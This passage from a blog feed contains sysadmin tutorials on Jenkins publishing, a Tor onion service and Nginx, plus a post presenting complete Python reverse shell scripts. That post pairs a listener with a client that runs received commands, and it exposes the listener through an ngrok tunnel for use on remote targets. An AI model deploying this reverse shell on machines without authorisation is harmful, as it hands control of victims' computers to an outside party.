class=\"o\">{<\/span>\n          sh <span class=\"s1\">&#39;python -m pelican content -s publishconf.py&#39;<\/span>\n        <span class=\"o\">}<\/span>\n        sshPublisher<span class=\"o\">(<\/span>\n          publishers: <span class=\"o\">[<\/span>\n            sshPublisherDesc<span class=\"o\">(<\/span>\n              configName: <span class=\"s1\">&#39;web-projects&#39;<\/span>,\n              sshRetry: <span class=\"o\">[<\/span>retries: <span class=\"m\">5<\/span>, retryDelay: <span class=\"m\">10000<\/span><span class=\"o\">]<\/span>,\n              transfers: <span class=\"o\">[<\/span>\n                sshTransfer<span class=\"o\">(<\/span>\n                  remoteDirectory: <span class=\"s1\">&#39;axju&#39;<\/span>,\n                  removePrefix: <span class=\"s1\">&#39;output\/&#39;<\/span>,\n                  sourceFiles: <span class=\"s1\">&#39;output\/**\/*&#39;<\/span>\n                <span class=\"o\">)<\/span>\n              <span class=\"o\">]<\/span>\n            <span class=\"o\">)<\/span>\n          <span class=\"o\">]<\/span>\n        <span class=\"o\">)<\/span>\n      <span class=\"o\">}<\/span>\n    <span class=\"o\">}<\/span>\n\n    stage<span class=\"o\">(<\/span><span class=\"s1\">&#39;publish - onion&#39;<\/span><span class=\"o\">)<\/span> <span class=\"o\">{<\/span>\n      steps <span class=\"o\">{<\/span>\n        withEnv<span class=\"o\">([<\/span><span class=\"s2\">&quot;HOME=<\/span><span class=\"si\">${<\/span><span class=\"nv\">env<\/span><span class=\"p\">.WORKSPACE<\/span><span class=\"si\">}<\/span><span class=\"s2\">&quot;<\/span><span class=\"o\">])<\/span> <span class=\"o\">{<\/span>\n          sh <span class=\"s1\">&#39;python -m pelican content -s raspiconf.py&#39;<\/span>\n        <span class=\"o\">}<\/span>\n        sshPublisher<span class=\"o\">(<\/span>\n          publishers: <span class=\"o\">[<\/span>\n            sshPublisherDesc<span class=\"o\">(<\/span>\n              configName: <span class=\"s1\">&#39;onion-projects&#39;<\/span>,\n              sshRetry: <span class=\"o\">[<\/span>retries: <span class=\"m\">5<\/span>, retryDelay: <span class=\"m\">10000<\/span><span class=\"o\">]<\/span>,\n              transfers: <span class=\"o\">[<\/span>\n                sshTransfer<span class=\"o\">(<\/span>\n                  remoteDirectory: <span class=\"s1\">&#39;axju&#39;<\/span>,\n                  removePrefix: <span class=\"s1\">&#39;output\/&#39;<\/span>,\n                  sourceFiles: <span class=\"s1\">&#39;output\/**\/*&#39;<\/span>\n                <span class=\"o\">)<\/span>\n              <span class=\"o\">]<\/span>\n            <span class=\"o\">)<\/span>\n          <span class=\"o\">]<\/span>\n        <span class=\"o\">)<\/span>\n      <span class=\"o\">}<\/span>\n    <span class=\"o\">}<\/span>\n\n\n  <span class=\"o\">}<\/span>\n  post <span class=\"o\">{<\/span>\n    always <span class=\"o\">{<\/span>\n      cleanWs<span class=\"o\">()<\/span>\n    <span class=\"o\">}<\/span>\n  <span class=\"o\">}<\/span>\n<span class=\"o\">}<\/span>\n<\/pre><\/div>\n<\/div>\n","category":[{"@attributes":{"term":"devops"}},{"@attributes":{"term":"pelican"}},{"@attributes":{"term":"python"}},{"@attributes":{"term":"jenkins"}},{"@attributes":{"term":"devops"}}]},{"title":"Hidden Service","link":{"@attributes":{"href":"https:\/\/axju.de\/posts\/2021\/02\/hidden-service\/","rel":"alternate"}},"published":"2021-02-26T20:15:00+01:00","updated":"2021-02-26T20:15:00+01:00","author":{"name":"Axel Juraske"},"id":"tag:axju.de,2021-02-26:\/posts\/2021\/02\/hidden-service\/","summary":"<p class=\"first last\">Setup a hidden service on the darknet<\/p>\n","content":"<p>I want to know how to set up a hidden service on the Tor network aka the\ndarknet. The goal is to have a copy of this blog on the darknet. Check out the\n<a class=\"reference external\" href=\"https:\/\/www.torproject.org\">Tor project<\/a> to learn more about the darknet. I\nwill only explain how to setup a hidden servers, not the darknet himself.<\/p>\n<p><strong>Tor project:<\/strong> <em>We believe everyone should be able to explore the internet with\nprivacy. We are the Tor Project, a 501(c)3 US nonprofit. We advance human rights\nand defend your privacy online through free software and open networks.<\/em>\n<a class=\"reference external\" href=\"https:\/\/www.torproject.org\/about\/people\/\">Meet our team.<\/a><\/p>\n<p>Now that you know what the Tor project is, you already have the\n<a class=\"reference external\" href=\"https:\/\/www.torproject.org\/download\/\">Tor browser<\/a> and can now read\n<a class=\"reference external\" href=\"http:\/\/z3wkaghfy4cmuqcrgskpvdava55qsbfrz5vvqthuemv2cktuwxvztcyd.onion\/\">my blog on the darknet<\/a>,\ngreat. But how do I create the hidden service for my blog? That was surprisingly\neasy. It only takes a few steps. The\n<a class=\"reference external\" href=\"https:\/\/community.torproject.org\/onion-services\/setup\/\">official documentation<\/a>\nis quite well, read it and have some fun. It wars so simple that I also want to\ncreate an example Django project behind a hidden service. Witch is just an\nexample and should work with all WSGI apps.<\/p>\n<div class=\"section\" id=\"install-tor\">\n<h2>Install tor<\/h2>\n<div class=\"highlight\"><pre><span><\/span>sudo apt-get install tor\n<\/pre><\/div>\n<p>You can check if the service is running<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo systemctl status tor.service\nsudo systemctl status tor@default.service\n<\/pre><\/div>\n<\/div>\n<div class=\"section\" id=\"nginx\">\n<h2>Nginx<\/h2>\n<p>I built this blog with Pelican, a static page generator. Therefore, Nginx should\nonly provide some static http files.<\/p>\n<p>First install Nginx<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo apt install nginx\n<\/pre><\/div>\n<p>Then delete Nginx default site<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo rm \/etc\/nginx\/sites-enabled\/*\n<\/pre><\/div>\n<p>create the server file for my blog<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo nano \/etc\/nginx\/sites-available\/axju\n<\/pre><\/div>\n<p>with<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"k\">server<\/span> <span class=\"p\">{<\/span>\n  <span class=\"kn\">listen<\/span> <span class=\"mi\">80<\/span> <span class=\"s\">default_server<\/span><span class=\"p\">;<\/span>\n  <span class=\"kn\">listen<\/span> <span class=\"s\">[::]:80<\/span> <span class=\"s\">default_server<\/span><span class=\"p\">;<\/span>\n  <span class=\"kn\">server_name<\/span> <span class=\"s\">_<\/span><span class=\"p\">;<\/span>\n\n  <span class=\"kn\">root<\/span> <span class=\"s\">\/var\/www\/axju<\/span><span class=\"p\">;<\/span>\n  <span class=\"kn\">index<\/span> <span class=\"s\">index.html<\/span><span class=\"p\">;<\/span>\n  <span class=\"kn\">location<\/span> <span class=\"s\">\/<\/span> <span class=\"p\">{<\/span>\n    <span class=\"kn\">try_files<\/span> <span class=\"nv\">$uri<\/span> <span class=\"nv\">$uri\/<\/span> <span class=\"p\">=<\/span><span class=\"mi\">404<\/span><span class=\"p\">;<\/span>\n  <span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/pre><\/div>\n<p>Create the www folder for the html files<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"k\">mkdir<\/span> <span class=\"s\">\/var\/www\/axju<\/span>\n<\/pre><\/div>\n<p>I copied my files into this folder. Now enable the site and restart Nginx<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo ln -s \/etc\/nginx\/sites-available\/axju \/etc\/nginx\/sites-enabled\/\nsudo systemctl restart nginx\n<\/pre><\/div>\n<\/div>\n<div class=\"section\" id=\"config-tor\">\n<h2>Config Tor<\/h2>\n<p>Create folder for the Tor service<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo mkdir \/var\/lib\/tor\/axju\/\nsudo chmod <span class=\"m\">700<\/span> \/var\/lib\/tor\/axju\n<\/pre><\/div>\n<p>This folder will later contain some important files for your service, like the\nhostname or the private key. Now open the configuration<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo nano \/etc\/tor\/torrc\n<\/pre><\/div>\n<p>and add this two lines<\/p>\n<div class=\"highlight\"><pre><span><\/span>HiddenServiceDir \/var\/lib\/tor\/axju\nHiddenServicePort <span class=\"m\">80<\/span> <span class=\"m\">127<\/span>.0.0.1:80\n<\/pre><\/div>\n<p>Your service should be available after a restart<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo systemctl restart tor\n<\/pre><\/div>\n<p>Get the hostname with<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo cat \/var\/lib\/tor\/axju\/hostname\n<\/pre><\/div>\n<\/div>\n<div class=\"section\" id=\"extra-bind-a-wsgi-app\">\n<h2>Extra - bind a WSGI app<\/h2>\n<p>It was so simple that I need something challenging. I'm going to show you how to\nset up a Django project behind a hidden service. You should already know Django.<\/p>\n<div class=\"section\" id=\"setup-django\">\n<h3>1. Setup Django<\/h3>\n<p>Install requirements<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo apt install python3-pip python3-venv\n<\/pre><\/div>\n<p>Create a new folder<\/p>\n<div class=\"highlight\"><pre><span><\/span>mkdir myproject\n<span class=\"nb\">cd<\/span> myproject\n<\/pre><\/div>\n<p>Set up a new Django project with a virtual environment<\/p>\n<div class=\"highlight\"><pre><span><\/span>python3 -m venv venv\n<span class=\"nb\">source<\/span> venv\/bin\/activate\npip install django gunicorn\ndjango-admin startproject myproject .\n<\/pre><\/div>\n<p>Change the project settings just a bit<\/p>\n<div class=\"highlight\"><pre><span><\/span>nano myproject\/settings.py\n<\/pre><\/div>\n<p>Change only the line with the allowed hosts<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"nv\">ALLOWED_HOSTS<\/span> <span class=\"o\">=<\/span> <span class=\"o\">[<\/span><span class=\"s1\">&#39;*&#39;<\/span><span class=\"o\">]<\/span>\n<\/pre><\/div>\n<\/div>\n<div class=\"section\" id=\"change-the-tor-config\">\n<h3>2. Change the Tor config<\/h3>\n<p>Open the file<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo nano \/etc\/tor\/torrc\n<\/pre><\/div>\n<p>and change the hidden service port from<\/p>\n<div class=\"highlight\"><pre><span><\/span>...\nHiddenServicePort <span class=\"m\">80<\/span> <span class=\"m\">127<\/span>.0.0.1:80\n<\/pre><\/div>\n<p>to<\/p>\n<div class=\"highlight\"><pre><span><\/span>...\nHiddenServicePort <span class=\"m\">80<\/span> <span class=\"m\">127<\/span>.0.0.1:8000\n<\/pre><\/div>\n<p>Restart Tor<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo systemctl restart tor\n<\/pre><\/div>\n<\/div>\n<div class=\"section\" id=\"run-gunicorn\">\n<h3>Run gunicorn<\/h3>\n<p>Run gunicorn to bind the WSGI app<\/p>\n<div class=\"highlight\"><pre><span><\/span>gunicorn --bind <span class=\"m\">127<\/span>.0.0.1:8000 myproject.wsgi\n<\/pre><\/div>\n<p>Of course this is just an example. If you are setup a real service, you will use\na systemd service or something similar.<\/p>\n<\/div>\n<\/div>\n<div class=\"section\" id=\"final-notes\">\n<h2>Final notes<\/h2>\n<p>Yes that wars easy and yes you have to do more to hide your service.<\/p>\n<blockquote>\n<ul class=\"simple\">\n<li><a class=\"reference external\" href=\"https:\/\/riseup.net\/en\/security\/network-security\/tor\/onionservices-best-practices\">Onion services best practices<\/a> by Riseup Collective<\/li>\n<li><a class=\"reference external\" href=\"https:\/\/community.torproject.org\/onion-services\/advanced\/opsec\/\">Operational Security<\/a><\/li>\n<\/ul>\n<\/blockquote>\n<p>I also setup Jenkins to automate the publishing. The darknet copy of this blog\nwill always be a little bit newer than the main build. Uses the tor browser to\nbe the first one to read my post.<\/p>\n<\/div>\n","category":[{"@attributes":{"term":"security"}},{"@attributes":{"term":"security"}},{"@attributes":{"term":"linux"}},{"@attributes":{"term":"darknet"}},{"@attributes":{"term":"tor"}}]},{"title":"A reverse shell with Python","link":{"@attributes":{"href":"https:\/\/axju.de\/posts\/2021\/02\/a-reverse-shell-with-python\/","rel":"alternate"}},"published":"2021-02-19T19:00:00+01:00","updated":"2021-02-19T19:00:00+01:00","author":{"name":"Axel Juraske"},"id":"tag:axju.de,2021-02-19:\/posts\/2021\/02\/a-reverse-shell-with-python\/","summary":"<p class=\"first last\">I'll show you how to create a reverse shell using Python and how to make the server public using ngrok<\/p>\n","content":"<p><strong>Disclaimer<\/strong>: The described methods should only be used for systems which you\nhave access rights. I used this method to get access to my mums PC, which I was\nallowed. And yes, I'm 31, have my own family, but still help my mom with her PC.<\/p>\n<img alt=\"alternate text\" src=\"https:\/\/axju.de\/images\/articels\/security\/reverse-shell-003.gif\" style=\"width: 100%;\" \/>\n<div class=\"section\" id=\"some-basics\">\n<h2>Some basics<\/h2>\n<p>What is a reverse shell? With a reverse shell, the target makes the connection.\nOn your client is run a server program, which listening for incoming\nconnections. And the target execute a program, which connect to your client.\nThen you can run commands on the target from your client. My research:<\/p>\n<blockquote>\n<ul class=\"simple\">\n<li><a class=\"reference external\" href=\"https:\/\/www.acunetix.com\/blog\/web-security-zone\/what-is-reverse-shell\/\">Acunetix<\/a><\/li>\n<li><a class=\"reference external\" href=\"https:\/\/www.thepythoncode.com\/article\/create-reverse-shell-python\">PythonCode<\/a><\/li>\n<li><a class=\"reference external\" href=\"https:\/\/www.netsparker.com\/blog\/web-security\/understanding-reverse-shells\/\">netsparker<\/a><\/li>\n<\/ul>\n<\/blockquote>\n<\/div>\n<div class=\"section\" id=\"python\">\n<h2>Python<\/h2>\n<p>We will write two small Python scripts one for the server and one for the\nclient. The only modules we use are\n<a class=\"reference external\" href=\"https:\/\/docs.python.org\/3\/library\/socket.html\">sockets<\/a> and the\n<a class=\"reference external\" href=\"https:\/\/docs.python.org\/3\/library\/subprocess.html\">subprocess<\/a>. Make sure you\nhave read the documentation. The programs are short and self-explanatory,\nnothing complicated just a little loop.<\/p>\n<div class=\"section\" id=\"server\">\n<h3>Server<\/h3>\n<div class=\"highlight\"><pre><span><\/span><span class=\"kn\">import<\/span> <span class=\"nn\">socket<\/span>\n\n<span class=\"n\">HOST<\/span> <span class=\"o\">=<\/span> <span class=\"s1\">&#39;0.0.0.0&#39;<\/span>\n<span class=\"n\">PORT<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">5555<\/span>\n\n<span class=\"c1\"># set up the socket so that it waits for an incoming connection<\/span>\n<span class=\"n\">s<\/span> <span class=\"o\">=<\/span> <span class=\"n\">socket<\/span><span class=\"o\">.<\/span><span class=\"n\">socket<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">setsockopt<\/span><span class=\"p\">(<\/span><span class=\"n\">socket<\/span><span class=\"o\">.<\/span><span class=\"n\">SOL_SOCKET<\/span><span class=\"p\">,<\/span> <span class=\"n\">socket<\/span><span class=\"o\">.<\/span><span class=\"n\">SO_REUSEADDR<\/span><span class=\"p\">,<\/span> <span class=\"mi\">1<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">bind<\/span><span class=\"p\">((<\/span><span class=\"n\">HOST<\/span><span class=\"p\">,<\/span> <span class=\"n\">PORT<\/span><span class=\"p\">))<\/span>\n<span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">listen<\/span><span class=\"p\">(<\/span><span class=\"mi\">1<\/span><span class=\"p\">)<\/span>\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"sa\">f<\/span><span class=\"s1\">&#39;[*] listening as <\/span><span class=\"si\">{<\/span><span class=\"n\">HOST<\/span><span class=\"si\">}<\/span><span class=\"s1\">:<\/span><span class=\"si\">{<\/span><span class=\"n\">PORT<\/span><span class=\"si\">}<\/span><span class=\"s1\">&#39;<\/span><span class=\"p\">)<\/span>\n\n<span class=\"c1\"># waiting for the target and sent a welcome message if it connected<\/span>\n<span class=\"n\">client_s<\/span><span class=\"p\">,<\/span> <span class=\"n\">client_addr<\/span> <span class=\"o\">=<\/span> <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">accept<\/span><span class=\"p\">()<\/span>\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"sa\">f<\/span><span class=\"s1\">&#39;[*] client connected <\/span><span class=\"si\">{<\/span><span class=\"n\">client_addr<\/span><span class=\"si\">}<\/span><span class=\"s1\">&#39;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">client_s<\/span><span class=\"o\">.<\/span><span class=\"n\">send<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;welcome&#39;<\/span><span class=\"o\">.<\/span><span class=\"n\">encode<\/span><span class=\"p\">())<\/span>\n\n<span class=\"c1\"># this loop will run, until you enter &#39;quit&#39;<\/span>\n<span class=\"k\">while<\/span> <span class=\"kc\">True<\/span><span class=\"p\">:<\/span>\n\n    <span class=\"c1\"># 1. enter the command and send it to the target<\/span>\n    <span class=\"n\">cmd<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">input<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;&gt;&gt;&gt; &#39;<\/span><span class=\"p\">)<\/span>\n    <span class=\"n\">client_s<\/span><span class=\"o\">.<\/span><span class=\"n\">send<\/span><span class=\"p\">(<\/span><span class=\"n\">cmd<\/span><span class=\"o\">.<\/span><span class=\"n\">encode<\/span><span class=\"p\">())<\/span>\n\n    <span class=\"c1\"># check if you want to quit<\/span>\n    <span class=\"k\">if<\/span> <span class=\"n\">cmd<\/span><span class=\"o\">.<\/span><span class=\"n\">lower<\/span><span class=\"p\">()<\/span> <span class=\"o\">==<\/span> <span class=\"s1\">&#39;quit&#39;<\/span><span class=\"p\">:<\/span>\n        <span class=\"k\">break<\/span>\n\n    <span class=\"c1\"># get the result of the command, executed on the target pc<\/span>\n    <span class=\"n\">result<\/span> <span class=\"o\">=<\/span> <span class=\"n\">client_s<\/span><span class=\"o\">.<\/span><span class=\"n\">recv<\/span><span class=\"p\">(<\/span><span class=\"mi\">1024<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">decode<\/span><span class=\"p\">()<\/span>\n    <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">result<\/span><span class=\"p\">)<\/span>\n\n<span class=\"n\">client_s<\/span><span class=\"o\">.<\/span><span class=\"n\">close<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">close<\/span><span class=\"p\">()<\/span>\n<\/pre><\/div>\n<\/div>\n<div class=\"section\" id=\"client\">\n<h3>Client<\/h3>\n<div class=\"highlight\"><pre><span><\/span><span class=\"kn\">import<\/span> <span class=\"nn\">socket<\/span>\n<span class=\"kn\">import<\/span> <span class=\"nn\">subprocess<\/span>\n\n<span class=\"n\">HOST<\/span> <span class=\"o\">=<\/span> <span class=\"s1\">&#39;0.0.0.0&#39;<\/span>\n<span class=\"n\">PORT<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">5555<\/span>\n\n<span class=\"c1\"># set up the socket and connect to the server<\/span>\n<span class=\"n\">s<\/span> <span class=\"o\">=<\/span> <span class=\"n\">socket<\/span><span class=\"o\">.<\/span><span class=\"n\">socket<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">connect<\/span><span class=\"p\">((<\/span><span class=\"n\">HOST<\/span><span class=\"p\">,<\/span> <span class=\"n\">PORT<\/span><span class=\"p\">))<\/span>\n\n<span class=\"c1\"># get the welcome message<\/span>\n<span class=\"n\">msg<\/span> <span class=\"o\">=<\/span> <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">recv<\/span><span class=\"p\">(<\/span><span class=\"mi\">1024<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">decode<\/span><span class=\"p\">()<\/span>\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;[*] server:&#39;<\/span><span class=\"p\">,<\/span> <span class=\"n\">msg<\/span><span class=\"p\">)<\/span>\n\n<span class=\"c1\"># this loop will run until it receive &#39;quit&#39;<\/span>\n<span class=\"k\">while<\/span> <span class=\"kc\">True<\/span><span class=\"p\">:<\/span>\n\n    <span class=\"c1\"># receive the command and print it<\/span>\n    <span class=\"n\">cmd<\/span> <span class=\"o\">=<\/span> <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">recv<\/span><span class=\"p\">(<\/span><span class=\"mi\">1024<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">decode<\/span><span class=\"p\">()<\/span>\n    <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"sa\">f<\/span><span class=\"s1\">&#39;[*] receive <\/span><span class=\"si\">{<\/span><span class=\"n\">cmd<\/span><span class=\"si\">}<\/span><span class=\"s1\">&#39;<\/span><span class=\"p\">)<\/span>\n\n    <span class=\"c1\"># check if you want to quit<\/span>\n    <span class=\"k\">if<\/span> <span class=\"n\">cmd<\/span><span class=\"o\">.<\/span><span class=\"n\">lower<\/span><span class=\"p\">()<\/span> <span class=\"o\">==<\/span> <span class=\"s1\">&#39;quit&#39;<\/span><span class=\"p\">:<\/span>\n        <span class=\"k\">break<\/span>\n\n    <span class=\"c1\"># now run the command and get the result.<\/span>\n    <span class=\"k\">try<\/span><span class=\"p\">:<\/span>\n        <span class=\"n\">result<\/span> <span class=\"o\">=<\/span> <span class=\"n\">subprocess<\/span><span class=\"o\">.<\/span><span class=\"n\">check_output<\/span><span class=\"p\">(<\/span><span class=\"n\">cmd<\/span><span class=\"p\">,<\/span> <span class=\"n\">stderr<\/span><span class=\"o\">=<\/span><span class=\"n\">subprocess<\/span><span class=\"o\">.<\/span><span class=\"n\">STDOUT<\/span><span class=\"p\">,<\/span> <span class=\"n\">shell<\/span><span class=\"o\">=<\/span><span class=\"kc\">True<\/span><span class=\"p\">)<\/span>\n    <span class=\"k\">except<\/span> <span class=\"ne\">Exception<\/span> <span class=\"k\">as<\/span> <span class=\"n\">e<\/span><span class=\"p\">:<\/span>\n        <span class=\"n\">result<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">str<\/span><span class=\"p\">(<\/span><span class=\"n\">e<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">encode<\/span><span class=\"p\">()<\/span>\n\n    <span class=\"c1\"># if the command has no output, send &#39;ok&#39; so the server knows everything is okay<\/span>\n    <span class=\"k\">if<\/span> <span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">result<\/span><span class=\"p\">)<\/span> <span class=\"o\">==<\/span> <span class=\"mi\">0<\/span><span class=\"p\">:<\/span>\n        <span class=\"n\">result<\/span> <span class=\"o\">=<\/span> <span class=\"s1\">&#39;OK&#39;<\/span><span class=\"o\">.<\/span><span class=\"n\">encode<\/span><span class=\"p\">()<\/span>\n\n    <span class=\"c1\"># send teh result to the server<\/span>\n    <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">send<\/span><span class=\"p\">(<\/span><span class=\"n\">result<\/span><span class=\"p\">)<\/span>\n\n<span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">close<\/span><span class=\"p\">()<\/span>\n<\/pre><\/div>\n<\/div>\n<\/div>\n<div class=\"section\" id=\"how-to-run\">\n<h2>How to run<\/h2>\n<p>We only uses the Python Standard Library, so we don't have to install anything.\nSimple execute<\/p>\n<div class=\"highlight\"><pre><span><\/span>python3 server.py\n<\/pre><\/div>\n<p>and<\/p>\n<div class=\"highlight\"><pre><span><\/span>python3 client.py\n<\/pre><\/div>\n<img alt=\"alternate text\" src=\"https:\/\/axju.de\/images\/articels\/security\/reverse-shell-001.gif\" style=\"width: 100%;\" \/>\n<p>The server run with <em>HOST=0.0.0.0<\/em> so that it listen on all incoming connection.\nOn some examples you read something like <em>HOST=localhost<\/em> or <em>HOST=127.0.0.1<\/em>.\nBut then it's only listen on connection from the <em>localhost<\/em>. You shouldn't\nchange the <em>HOST<\/em> of the server script. But if you run the client on another PC,\nyou have to enter the IP address of the server for the <em>HOST<\/em>. You get a problem\nif the PC is not in your local network. Of course you can forward the port in\nyour router and then specify your public IP as <em>HOST<\/em>. But I want to show you\nanother way.<\/p>\n<\/div>\n<div class=\"section\" id=\"ngrok\">\n<h2>ngrok<\/h2>\n<p>ngrok is a reverse proxy that creates a secure tunnel from a public endpoint to\na locally running web service. Simply put, with ngrok you can make any local\nservice public. And we will make our server public. Go to\n<a class=\"reference external\" href=\"https:\/\/ngrok.com\">ngrok<\/a> sign up and follow the setup tutorial for your\nsystem. For me it's<\/p>\n<blockquote>\n<ol class=\"arabic\">\n<li><p class=\"first\">download<\/p>\n<div class=\"highlight\"><pre><span><\/span>wget https:\/\/bin.equinox.io\/c\/4VmDzA7iaHb\/ngrok-stable-linux-amd64.zip\n<\/pre><\/div>\n<\/li>\n<li><p class=\"first\">unzip<\/p>\n<div class=\"highlight\"><pre><span><\/span>unzip ngrok-stable-linux-amd64.zip\n<\/pre><\/div>\n<\/li>\n<li><p class=\"first\">connect your account<\/p>\n<div class=\"highlight\"><pre><span><\/span>.\/ngrok authtoken 1WeW...\n<\/pre><\/div>\n<\/li>\n<li><p class=\"first\">exposed the server<\/p>\n<div class=\"highlight\"><pre><span><\/span>.\/ngrok tcp <span class=\"m\">5555<\/span>\n<\/pre><\/div>\n<\/li>\n<\/ol>\n<\/blockquote>\n<p>Now you are ready to run the client on any target, but you have to change the\n<em>HOST<\/em> and <em>PORT<\/em> to the values from ngrok. For my example that will be<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"o\">...<\/span>\n<span class=\"n\">HOST<\/span> <span class=\"o\">=<\/span> <span class=\"s1\">&#39;4.tcp.ngrok.io&#39;<\/span>\n<span class=\"n\">PORT<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">12050<\/span>\n<span class=\"o\">....<\/span>\n<\/pre><\/div>\n<img alt=\"alternate text\" src=\"https:\/\/axju.de\/images\/articels\/security\/reverse-shell-002.png\" style=\"width: 100%;\" \/>\n<\/div>\n<div class=\"section\" id=\"conclusion\">\n<h2>Conclusion<\/h2>\n<p>As you can see, it's not that complicated to create your own reverse shell and\nmake it public. I know, there's a lot of space to improve this script. But for a\nreally Simple example they are quite good enough.<\/p>\n<\/div>\n","category":[{"@attributes":{"term":"security"}},{"@attributes":{"term":"security"}},{"@attributes":{"term":"linux"}},{"@attributes":{"term":"hacking"}},{"@attributes":{"term":"shell"}},{"@attributes":{"term":"sockets"}}]},{"title":"Jenkins meet Nginx","link":{"@attributes":{"href":"https:\/\/axju.de\/posts\/2021\/02\/jenkins-meet-nginx\/","rel":"alternate"}},"published":"2021-02-16T20:15:00+01:00","updated":"2021-02-16T20:15:00+01:00","author":{"name":"Axel Juraske"},"id":"tag:axju.de,2021-02-16:\/posts\/2021\/02\/jenkins-meet-nginx\/","summary":"<p class=\"first last\">Just a quick Nginx setup for Jenkins<\/p>\n","content":"<p>For a long time I run my Jenkins server only in my local Network. Therefore I\ndon't setup a real web server. But if I want to have some nice shields with\nbuild status and code coverage, I need to make my Jenkins server public. And for\nthis, I setup Nginx as a reverse proxy. To make It secure, I enable SSL with the\ncertbot for <a class=\"reference external\" href=\"https:\/\/letsencrypt.org\">Let's Encrypt<\/a>. What wars rally easy.<\/p>\n<p>The official documentation is quite good,\n<a class=\"reference external\" href=\"https:\/\/www.jenkins.io\/doc\/book\/system-administration\/reverse-proxy-configuration-nginx\/\">check them out<\/a>.\nIf you go through my how to you have to change some values, like your domain. I\nthink this is all you have to change. And of course you have to set up your\ndomains and configure your router.<\/p>\n<p>Let us started. First install Nginx and certbot<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo apt-get install -y nginx certbot python3-certbot-nginx\n<\/pre><\/div>\n<p>Then delete Nginx default site<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo rm \/etc\/nginx\/sites-enabled\/*\n<\/pre><\/div>\n<p>and also create the log directory<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo mkdir \/var\/log\/nginx\/jenkins\/\n<\/pre><\/div>\n<p>Now we create the Jenkins configuration for Nginx. Create the file<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo nano \/etc\/nginx\/sites-available\/jenkins\n<\/pre><\/div>\n<p>with<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"k\">map<\/span> <span class=\"nv\">$http_upgrade<\/span> <span class=\"nv\">$connection_upgrade<\/span> <span class=\"p\">{<\/span>\n  <span class=\"kn\">default<\/span> <span class=\"s\">upgrade<\/span><span class=\"p\">;<\/span>\n  <span class=\"kn\">&#39;&#39;<\/span> <span class=\"s\">close<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"k\">server<\/span> <span class=\"p\">{<\/span>\n  <span class=\"kn\">listen<\/span> <span class=\"mi\">80<\/span><span class=\"p\">;<\/span>\n  <span class=\"kn\">server_name<\/span> <span class=\"s\">jenkins.example.com<\/span><span class=\"p\">;<\/span>\n\n  <span class=\"kn\">root<\/span> <span class=\"s\">\/var\/run\/jenkins\/war\/<\/span><span class=\"p\">;<\/span>\n  <span class=\"kn\">access_log<\/span> <span class=\"s\">\/var\/log\/nginx\/jenkins\/access.log<\/span><span class=\"p\">;<\/span>\n  <span class=\"kn\">error_log<\/span> <span class=\"s\">\/var\/log\/nginx\/jenkins\/error.log<\/span><span class=\"p\">;<\/span>\n\n  <span class=\"kn\">location<\/span> <span class=\"s\">\/<\/span> <span class=\"p\">{<\/span>\n    <span class=\"kn\">include<\/span> <span class=\"s\">\/etc\/nginx\/proxy_params<\/span><span class=\"p\">;<\/span>\n\n    <span class=\"kn\">proxy_pass<\/span>         <span class=\"s\">http:\/\/localhost:8080<\/span><span class=\"p\">;<\/span>\n    <span class=\"kn\">proxy_read_timeout<\/span> <span class=\"s\">90s<\/span><span class=\"p\">;<\/span>\n    <span 